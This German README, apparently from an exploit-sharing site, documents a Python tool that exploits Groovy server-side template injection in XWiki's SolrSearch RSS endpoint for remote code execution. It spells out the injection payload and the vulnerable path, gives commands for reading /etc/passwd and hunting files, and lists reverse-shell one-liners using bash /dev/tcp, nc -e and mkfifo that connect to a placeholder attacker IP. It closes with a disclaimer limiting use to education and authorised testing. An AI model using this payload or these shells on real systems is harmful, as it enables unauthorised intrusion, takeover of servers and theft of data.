XWiki SSTI Exploit

Ein Python-Exploit für die XWiki-Schwachstelle Server-Side Template Injection (SSTI) über Groovy-Template-Injection im SolrSearch-Endpunkt.

Schwachstelle

• Typ: Server-Side Template Injection (SSTI)
• Komponente: XWiki SolrSearch-RSS-Feed
• Auswirkung: Remote Code Execution
• Betroffene Version: XWiki 15.10.8 (und möglicherweise weitere)

Anforderungen

pip3 install requests beautifulsoup4

Verwendung

Auf Schwachstelle testen

./xwiki_exploit.py -u http://target --test

Einzelnen Befehl ausführen

./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"

Interaktive Shell

./xwiki_exploit.py -u http://target.com

Du erhältst eine interaktive Pseudo-Shell, in der du Befehle ausführen kannst:

xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit

Debug-Modus

./xwiki_exploit.py -u http://target.com -c "id" --debug

Befehlszeilenoptionen

• -u, --url URL: Ziel-URL (erforderlich)
• -c, --command CMD: Einzelnen Befehl ausführen
• --test: Prüfen, ob das Ziel verwundbar ist
• --no-verify-ssl: SSL-Zertifikatsprüfung deaktivieren
• --debug: Debug-Ausgabe aktivieren

Beispiele

Informationssammlung:

./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"

Interessante Dateien finden:

./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"

Netzwerkinformationen:

./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"

Reverse Shell herstellen:

# On attacker machine, start listener:
nc -lvnp 1337

# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"

Technische Details

Payload-Struktur

Der Exploit verwendet die folgende SSTI-Payload-Struktur:

}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}

Exploit-Ablauf

1. Der Payload wird URL-kodiert und an den verwundbaren Endpunkt gesendet:

   root@kitploit:~

   /xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
   

2. Der Server verarbeitet das Groovy-Template und führt den Befehl aus.

3. Die Ausgabe wird aus der RSS-Feed-Antwort in folgendem Format erfasst:

   root@kitploit:~

   search on [}}OUTPUT]
   

4. Der Exploit parst die HTML-Antwort, um die Befehlsausgabe zu extrahieren.

Hinweise

• Befehle werden als Benutzer xwiki ausgeführt (uid=997)
• Das Arbeitsverzeichnis ist /usr/lib/xwiki-jetty
• Manche Befehle erzeugen möglicherweise keine Ausgabe, wenn sie fehlschlagen oder im Hintergrund laufen
• Für komplexe Befehle solltest du Shell-Skripte oder Base64-Kodierung in Betracht ziehen

Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Penetrationstests bestimmt. Verwende es nur auf Systemen, für die du eine Testberechtigung hast.